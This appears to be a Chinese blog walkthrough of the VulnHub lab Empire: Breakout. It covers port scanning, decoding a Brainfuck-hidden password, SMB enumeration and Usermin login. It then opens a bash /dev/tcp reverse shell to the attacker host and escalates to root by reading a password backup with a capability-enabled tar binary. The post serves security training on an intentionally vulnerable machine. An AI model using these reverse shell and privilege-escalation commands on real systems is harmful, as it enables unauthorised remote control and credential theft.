《VulnHub》Empire:Breakout

发布时间 2023-09-04 19:41:40作者: 镜坛主

@


VulnHub 打靶记录。官网:https://www.vulnhub.com/

攻击机为 Kali-Linux-2023.2-vmware-amd64。
Kali NAT IP:192.168.8.10。

1:靶场信息

靶场网址:https://www.vulnhub.com/entry/empire-breakout,751/

2:打靶

2.1:情报收集&威胁建模

由于不知道目标主机的 ip,且目标与攻击机在同一局域网,所以可使用 arp-scan 命令发现主机。

发现主机
arp-scan -l

在这里插入图片描述

通过 ping 测试发现 192.168.8.105 在线,靶机 ip 确定。

目标信息扫描
nmap -sS -sV -T4 -n -p- 192.168.8.105

在这里插入图片描述

Nmap scan report for 192.168.8.105
Host is up (0.0012s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
80/tcp    open  http        Apache httpd 2.4.51 ((Debian))
139/tcp   open  netbios-ssn Samba smbd 4.6.2
445/tcp   open  netbios-ssn Samba smbd 4.6.2
10000/tcp open  http        MiniServ 1.981 (Webmin httpd)
20000/tcp open  http        MiniServ 1.830 (Webmin httpd)
MAC Address: 00:0C:29:B8:7A:E6 (VMware)

访问 80 端口,是 Apache 的默认页面。

在这里插入图片描述

查看页面源码,发现一串加密信息。为 Brainfuck 编码。

在这里插入图片描述

<!--
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.

-->

Brainfuck 在线编解码:
http://www.hiencode.com/brain.html

解密后的内容:

.2uqPEfj3D<P'a-3

访问 10000 端口,是一个使用 https 的 Webmin 页面。

在这里插入图片描述

访问 20000 端口,是一个使用 https 的 Usermin 页面。

在这里插入图片描述

139 端口与 445 端口表明主机开启了 SMB 服务,使用 enum4linux 对 SMB 进行枚举探测

枚举 SMB 信息
enum4linux 192.168.8.105

探测到一个本地用户 cyber。

在这里插入图片描述

2.2:漏洞分析&渗透攻击

使用用户名【cyber】与【.2uqPEfj3D<P'a-3】作为密码尝试登录 Webmin 与 Usermin。成功从 Usermin 登录。

在这里插入图片描述

且在页面可以发现一个 shell。

在这里插入图片描述

查看当前用户 home 目录下的文件。
ls -al

在这里插入图片描述

目录下的 user.txt 文件可能会比较有趣。
cat user.txt

发现了第一个 flag。

在这里插入图片描述

接下来进行提权。为了方便操作,首先使用 netcat 进行 shell 反弹。目标主机上的 netcat 没有权限,所以这里使用其他方法。

1、kali:nc -lv -p 6666
2、server:bash -i >& /dev/tcp/192.168.8.10/6666 0>&1

成功反弹 shell 到 kali。

在这里插入图片描述

接下来要搜集其他的信息以帮助提权。

先寻找一下主机上有没有什么备份文件和与密码相关的文件。
find / -name '*.bak'
find / -name '*pass*'

找到一个备份文件 /var/backups/.old_pass.bak

在这里插入图片描述

/var/backups/.old_pass.bak 没有执行权限。
尝试把文件拷贝或传输,提示权限不够。

此时得想其他办法,先从已有的信息入手。可以发现 home 目录下 tar 这个文件权限很高。与 tar 命令同名。

在这里插入图片描述

再使用 getcap 命令查看一下该文件权限。
getcap ./tar

在这里插入图片描述

结果结果显示此文件可以读取任意文件。

那就使用 home 目录下的 tar 文件把 /var/backups/.old_pass.bak 压缩,再用系统的 tar 命令解压,这样就解决了权限问题。

打包文件:
./tar -cvf ./passwd.tar /var/backups/.old_pass.bak

解压文件:
tar -xvf passwd.tar

在这里插入图片描述

读取解压后的文件 ./var/backups/.old_pass.bak
cat ./var/backups/.old_pass.bak

在这里插入图片描述

Ts&4&YurgtRX(=~h

网页上无法进行提权,所以得回到 kali 得到的反弹 shell 进行 root 账户登录。

到这里就可以看到提权成功了:

在这里插入图片描述

进入 /root/ 下拿到最后的 flag:

在这里插入图片描述

至此,打靶结束,完结撒花。

3:总结

万事开头难,作为在 VulnHub 打的第一个靶,选了一个比较简单的靶场。
嗯,又开了一个新坑。(= ̄ω ̄=)

3.1:命令&工具

3.1.1:Nmap

部分选项

参数 介绍
-sS/sT/sA/sW/sM TCP SYN/Connect()/ACK/Window/Maimon scans
-sV Probe open ports to determine service/version info
-T<0-5> Set timing template (higher is faster)
-n/-R Never do DNS resolution/Always resolve [default: sometimes]
-p- 描目标主机的所有端口

3.2:关键技术

  • 主机发现,ARP 二层发现:
    arp-scan -l

  • 目标信息扫描,扫描所有端口及开放端口的服务:
    nmap -sS -sV -T<0-5> -n -p- <target>

  • Brainfuck 编码方式

  • SMB 服务信息枚举
    enum4linux <target>

  • 反弹 shell,利用 bash 配合 netcat:
    1、kali:nc -lv -p <端口>
    2、target:bash -i >& /dev/tcp/<address>/<端口> 0>&1

bash -i >& /dev/tcp/<address>/<端口> 0>&1 是一个常用的反弹 shell 命令。常用于把内网的机器反弹到外网机器上,从而实现外网主机控制内网主机。在内网环境也可以用。
这个命令的功能简单来说就是将输入输出重定向到指定的位置,达到反弹 shell 的结果。

  • find 命令查找关键信息

都道无人愁似我,今夜雪,有梅花,似我愁。

——《梅花引 · 荆溪阻雪》(宋)蒋捷